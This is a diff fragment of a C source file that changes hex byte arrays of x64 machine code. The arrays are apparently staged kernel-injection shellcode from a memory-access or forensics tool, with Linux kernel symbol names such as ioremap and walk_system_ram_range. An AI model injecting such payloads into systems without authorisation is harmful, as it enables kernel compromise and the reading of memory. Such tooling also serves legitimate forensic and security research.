+ 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e,
+ 0x74, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x6e, 0x78, 0x00,
+ 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x72, 0x6f, 0x78, 0x00, 0x73,
+ 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x72, 0x77, 0x00, 0x73, 0x65, 0x74,
+ 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, 0x5f, 0x5f, 0x66, 0x72, 0x65, 0x65,
+ 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x73, 0x63,
+ 0x68, 0x65, 0x64, 0x75, 0x6c, 0x65, 0x00, 0x64, 0x6f, 0x5f, 0x67, 0x65, 0x74, 0x74, 0x69, 0x6d,
+ 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73,
+ 0x65, 0x74, 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f,
+ 0x62, 0x61, 0x73, 0x65, 0x00, 0x77, 0x61, 0x6c, 0x6b, 0x5f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d,
+ 0x5f, 0x72, 0x61, 0x6d, 0x5f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x69, 0x6f, 0x75, 0x6e, 0x6d,
+ 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d, 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d,
+ 0x61, 0x70, 0x5f, 0x6e, 0x6f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x00, 0x6b, 0x74, 0x69, 0x6d, 0x65,
+ 0x5f, 0x67, 0x65, 0x74, 0x5f, 0x72, 0x65, 0x61, 0x6c, 0x5f, 0x74, 0x73, 0x36, 0x34, 0x00, 0x67,
+ 0x65, 0x74, 0x6e, 0x73, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x36, 0x34, 0x00,
+ 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x48, 0x8b, 0xc1, 0x57,
+ 0x56, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c,
+ 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0x4c, 0x24, 0x48, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83,
+ 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3,
+ 0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0x3d, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74,
+ 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3,
+ 0x57, 0x56, 0x41, 0x57, 0x48, 0x8b, 0xf9, 0x4c, 0x8b, 0xfa, 0xe8, 0xd1, 0xff, 0xff, 0xff, 0x49,
+ 0x03, 0xc7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0x17, 0xff, 0xff,
+ 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0x56, 0x52, 0x48, 0x8b, 0xf9, 0xe8, 0xd5, 0xff,
+ 0xff, 0xff, 0x5a, 0x48, 0x2b, 0xd0, 0x48, 0xc1, 0xea, 0x07, 0x48, 0xc1, 0xe2, 0x0c, 0x48, 0x8b,
+ 0xc2, 0x5e, 0x5f, 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x48, 0x8b, 0x42, 0x28,
+ 0x48, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xc1, 0x48, 0x89, 0x38, 0x48, 0x89, 0x70, 0x08, 0x48, 0x83,
+ 0xc1, 0x10, 0x48, 0x89, 0x4a, 0x48, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1,
+ 0xe6, 0x0c, 0x4c, 0x8b, 0x42, 0x40, 0x4c, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xf7, 0x4d, 0x03, 0xc8,
+ 0x4c, 0x3b, 0xc7, 0x7c, 0x09, 0x4c, 0x3b, 0xce, 0x7f, 0x04, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x33,
+ 0xc0, 0x48, 0xff, 0xc0, 0xc3, 0x0f, 0x09, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,
0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x8b, 0xf2, 0x48, 0x8b, 0xd9, 0x33, 0xff, 0x48, 0x8b,
- 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x42, 0xf6, 0xe8, 0xd6,
+ 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x42, 0xf6, 0xe8, 0xd9,
0xfe, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x30, 0x48, 0x85, 0xc0, 0x74, 0x0c, 0x48, 0x8b, 0x4b,
- 0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x4b, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x20, 0x48, 0x83,
+ 0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x4e, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x20, 0x48, 0x83,
0xc7, 0x08, 0x48, 0x83, 0xff, 0x10, 0x72, 0xc6, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x7c,
0x24, 0x20, 0x48, 0x8d, 0x81, 0x00, 0x00, 0x20, 0x00, 0x48, 0x3b, 0xf8, 0x75, 0x16, 0x48, 0x8b,
0x44, 0x24, 0x38, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x40, 0x00, 0x48, 0x89, 0x4b, 0x20, 0xe9,
0xa9, 0x00, 0x00, 0x00, 0x48, 0x85, 0xff, 0x75, 0x05, 0x48, 0x85, 0xc9, 0x74, 0x2b, 0x85, 0xf6,
0x75, 0x2b, 0x33, 0xff, 0x48, 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b,
- 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x59, 0xfe, 0xff, 0xff,
+ 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x5c, 0xfe, 0xff, 0xff,
0x48, 0xff, 0xc7, 0x48, 0x83, 0xff, 0x02, 0x72, 0xdb, 0x33, 0xc0, 0xeb, 0x70, 0x33, 0xd2, 0x48,
0x8b, 0xcb, 0xe8, 0x41, 0xff, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0xf0, 0x48,
0x85, 0xc0, 0x74, 0x2c, 0x33, 0xff, 0x48, 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, 0x12,
- 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x17, 0xfe,
+ 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x1a, 0xfe,
0xff, 0xff, 0x48, 0xff, 0xc7, 0x48, 0x83, 0xff, 0x02, 0x72, 0xdb, 0x48, 0x8b, 0xc6, 0xeb, 0x2d,
0x48, 0x8b, 0x54, 0x24, 0x38, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00,
- 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0xed, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24,
+ 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0xf0, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24,
0x30, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, 0x20, 0x00, 0x48, 0x89, 0x7b, 0x20, 0x48, 0x8b, 0x5c,
0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc,
0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0xb9, 0x00, 0x03, 0x00,
- 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xd7, 0xe8, 0x14, 0xfc, 0xff, 0xff,
+ 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xd7, 0xe8, 0xd4, 0xfb, 0xff, 0xff,
0x48, 0x8b, 0x83, 0x30, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x21, 0x48, 0x8b, 0x83, 0x50,
0x03, 0x00, 0x00, 0x48, 0x89, 0x83, 0x30, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x0e, 0x48,
0x8b, 0x83, 0x60, 0x03, 0x00, 0x00, 0x48, 0x89, 0x83, 0x30, 0x03, 0x00, 0x00, 0x33, 0xc9, 0x8d,
@@ -552,48 +558,55 @@ const BYTE LINUX_X64_STAGE3_BIN[] = {
0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x56, 0x48, 0x83, 0xec, 0x50, 0x48, 0xb8, 0x77, 0x33,
0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89,
0x01, 0x48, 0x8b, 0xd9, 0xe8, 0x57, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0e, 0xb8, 0x01, 0x00,
- 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0x6c, 0x02, 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00,
- 0x00, 0x48, 0x8b, 0xcb, 0x41, 0x8b, 0xd4, 0xe8, 0xfc, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0xf0, 0x48,
- 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0xd7, 0x48, 0x8b, 0x53, 0x20, 0x48,
- 0x8b, 0x4b, 0x10, 0xe8, 0x35, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x8b, 0xd0, 0x48,
- 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0x89, 0x43, 0x28, 0xe8, 0xc6,
- 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xe8,
- 0xb5, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8,
- 0xa5, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x34,
- 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, 0x88, 0xfc, 0xff,
- 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x83, 0xc0, 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76,
- 0xc3, 0x48, 0x8b, 0x8b, 0x00, 0x03, 0x00, 0x00, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0x67, 0xfc,
- 0xff, 0xff, 0xeb, 0xb0, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03,
- 0x0f, 0x84, 0x79, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x7b, 0x48, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x3b,
- 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x26, 0x48, 0x83, 0x27, 0x00,
- 0x48, 0x8d, 0x05, 0xda, 0xfc, 0xff, 0xff, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41,
- 0x83, 0xc8, 0xff, 0x33, 0xd2, 0xe8, 0x1f, 0xfc, 0xff, 0xff, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f,
- 0x94, 0xc1, 0x48, 0x89, 0x4b, 0x38, 0xe8, 0x07, 0xfd, 0xff, 0xff, 0x48, 0x83, 0xbb, 0xf8, 0x0f,
- 0x00, 0x00, 0x05, 0x75, 0x18, 0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48,
- 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0x53, 0x28, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x8b, 0x83,
- 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x3b, 0xc4, 0x74, 0x0a, 0x48, 0x83, 0xf8, 0x02, 0x0f, 0x85, 0xa5,
- 0x00, 0x00, 0x00, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x8d, 0x05, 0x99, 0xfc, 0xff, 0xff, 0x48, 0x8b,
- 0x8b, 0x38, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x7b, 0x48, 0x4c, 0x8b, 0x07, 0x4c, 0x8b, 0xcb, 0x49,
- 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xa8, 0xfb, 0xff,
- 0xff, 0x48, 0x8b, 0xe8, 0x49, 0x3b, 0xc4, 0x74, 0x6a, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, 0xc0,
- 0x75, 0x0b, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0xe2, 0xfb, 0xff, 0xff, 0xeb, 0x0f, 0x4c, 0x8b, 0x07,
- 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0xe8, 0x7d, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48,
- 0x85, 0xc0, 0x74, 0x3f, 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x8b, 0xc0, 0x48, 0x8b,
- 0x53, 0x28, 0x4c, 0x8b, 0x0f, 0x4c, 0x0f, 0x45, 0xc2, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00,
- 0x48, 0x0f, 0x45, 0xd0, 0xe8, 0x50, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xed, 0x74, 0x0f, 0x48, 0x8b,
- 0x8b, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd6, 0xe8, 0x3c, 0xfb, 0xff, 0xff, 0x4c, 0x89, 0x63,
- 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06,
- 0x75, 0x1b, 0x4c, 0x8b, 0x0f, 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b,
- 0x20, 0x03, 0x00, 0x00, 0xe8, 0x10, 0xfb, 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xbb,
- 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1b, 0x4c, 0x8b, 0x0f, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b,
- 0x53, 0x40, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0xeb, 0xfa, 0xff, 0xff, 0x4c, 0x89,
- 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0xe9, 0x14, 0xfe, 0xff, 0xff, 0x48,
- 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x41, 0xb8, 0x0a, 0x00, 0x00,
- 0x00, 0x48, 0x89, 0x43, 0x30, 0x49, 0x8b, 0xd6, 0xe8, 0xbc, 0xfa, 0xff, 0xff, 0x48, 0x83, 0x63,
- 0x20, 0x00, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f,
- 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, 0x8d, 0x5c, 0x24, 0x50, 0x49, 0x8b, 0x5b, 0x20,
- 0x49, 0x8b, 0x6b, 0x28, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x41, 0x5c, 0x5f,
- 0xc3
+ 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xe1, 0x02, 0x00, 0x00, 0x48, 0x83, 0xbb, 0x78, 0x03,
+ 0x00, 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x74, 0x1c, 0x48, 0x83, 0xbb, 0x80, 0x03,
+ 0x00, 0x00, 0x00, 0x74, 0x12, 0x48, 0x83, 0xbb, 0x70, 0x03, 0x00, 0x00, 0x00, 0x74, 0x08, 0x41,
+ 0x8b, 0xfc, 0x41, 0x8b, 0xec, 0xeb, 0x04, 0x33, 0xff, 0x33, 0xed, 0x41, 0x8b, 0xd4, 0x48, 0x8b,
+ 0xcb, 0xe8, 0xd2, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x02,
+ 0x00, 0x00, 0xf0, 0xeb, 0xad, 0x48, 0x8b, 0x53, 0x20, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0x0e, 0xfd,
+ 0xff, 0xff, 0x48, 0x89, 0x43, 0x28, 0x85, 0xff, 0x75, 0x17, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x8b,
+ 0xd0, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0xe8, 0x9b, 0xfc, 0xff,
+ 0xff, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xe8, 0x8a, 0xfc,
+ 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x7a, 0xfc,
+ 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x34, 0x48, 0x8b,
+ 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, 0x5d, 0xfc, 0xff, 0xff, 0x48,
+ 0x8b, 0x44, 0x24, 0x30, 0x48, 0x83, 0xc0, 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x48,
+ 0x8b, 0x8b, 0x00, 0x03, 0x00, 0x00, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0x3c, 0xfc, 0xff, 0xff,
+ 0xeb, 0xb0, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84,
+ 0xc0, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x3c, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00,
+ 0x00, 0x48, 0x85, 0xc9, 0x74, 0x27, 0x48, 0x83, 0x63, 0x48, 0x00, 0x48, 0x8d, 0x05, 0xb2, 0xfc,
+ 0xff, 0xff, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0x83, 0xc8, 0xff, 0x33, 0xd2,
+ 0xe8, 0xf7, 0xfb, 0xff, 0xff, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f, 0x94, 0xc1, 0x48, 0x89, 0x4b,
+ 0x38, 0xe8, 0xdf, 0xfc, 0xff, 0xff, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x64,
+ 0x48, 0x85, 0xed, 0x74, 0x16, 0x48, 0x8b, 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48,
+ 0x8b, 0x8b, 0x78, 0x03, 0x00, 0x00, 0xe8, 0xc1, 0xfb, 0xff, 0xff, 0x4c, 0x8d, 0x83, 0x20, 0x02,
+ 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0x53, 0x28, 0x4c,
+ 0x89, 0x63, 0x38, 0x48, 0x85, 0xed, 0x74, 0x2c, 0x48, 0x8b, 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00,
+ 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x70, 0x03, 0x00, 0x00, 0xe8, 0x8e, 0xfb, 0xff, 0xff, 0x48, 0x8b,
+ 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x80, 0x03, 0x00, 0x00, 0xe8,
+ 0x78, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x2b, 0xc4, 0x49, 0x3b,
+ 0xc4, 0x0f, 0x87, 0xa4, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x28, 0xfc,
+ 0xff, 0xff, 0x48, 0x8b, 0x53, 0x40, 0x4c, 0x8b, 0xcb, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00,
+ 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x3a, 0xfb,
+ 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x49, 0x3b, 0xc4, 0x74, 0x6c, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85,
+ 0xc0, 0x75, 0x0b, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0x74, 0xfb, 0xff, 0xff, 0xeb, 0x10, 0x4c, 0x8b,
+ 0x43, 0x48, 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0xe8, 0x0e, 0xfb, 0xff, 0xff, 0x48, 0x8b,
+ 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x40, 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x8b, 0xc0,
+ 0x48, 0x8b, 0x53, 0x28, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x0f, 0x45, 0xc2, 0x48, 0x8b, 0x8b, 0x20,
+ 0x03, 0x00, 0x00, 0x48, 0x0f, 0x45, 0xd0, 0xe8, 0xe0, 0xfa, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74,
+ 0x0f, 0x48, 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8, 0xcc, 0xfa, 0xff, 0xff,
+ 0x4c, 0x89, 0x63, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x83, 0xbb, 0xf8, 0x0f,
+ 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53,
+ 0x28, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x9f, 0xfa, 0xff, 0xff, 0x4c, 0x89, 0x63,
+ 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1c, 0x4c, 0x8b, 0x4b, 0x48, 0x4c,
+ 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x79,
+ 0xfa, 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0xe9,
+ 0xcd, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0xf0,
+ 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x30, 0x49, 0x8b, 0xd6, 0xe8, 0x4a, 0xfa,
+ 0xff, 0xff, 0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00,
+ 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, 0x8d, 0x5c, 0x24,
+ 0x50, 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x28, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3,
+ 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0xc3
};
const BYTE LINUX_X64_STAGE2_EFI_BIN[] = {
@@ -1353,205 +1366,208 @@ const BYTE WINX64_VFS_KSH[] = {
};
const BYTE LINUX_X64_VFS_KSH[] = {
- 0x37, 0x13, 0xec, 0x3c, 0x2d, 0xeb, 0x20, 0x05, 0xce, 0x86, 0x74, 0xe3, 0x5b, 0x5d, 0xb8, 0xf6,
- 0x78, 0x03, 0x16, 0xff, 0x90, 0xf8, 0xcf, 0x13, 0xf1, 0x17, 0xf2, 0x20, 0xfc, 0x7f, 0xad, 0xda,
- 0x3b, 0xa3, 0xd8, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x0c, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0xfd, 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00,
+ 0x37, 0x13, 0xec, 0x3c, 0x2c, 0x82, 0xd4, 0x20, 0x62, 0x14, 0x82, 0x91, 0xea, 0x46, 0x29, 0xd9,
+ 0x95, 0xab, 0xd6, 0xff, 0xf1, 0xaa, 0xb5, 0xa1, 0x29, 0x02, 0x1d, 0x32, 0xec, 0xdc, 0xe8, 0x96,
+ 0xa2, 0xc6, 0xbf, 0x93, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x0c, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x39, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20,
- 0xe8, 0x13, 0x0b, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55,
- 0x41, 0x54, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x4d, 0x8b, 0xe9, 0x49, 0xc1, 0xe5, 0x03, 0x4d,
- 0x8b, 0xe0, 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x4b, 0x8b, 0x14, 0x2e, 0xe8, 0x22, 0x00,
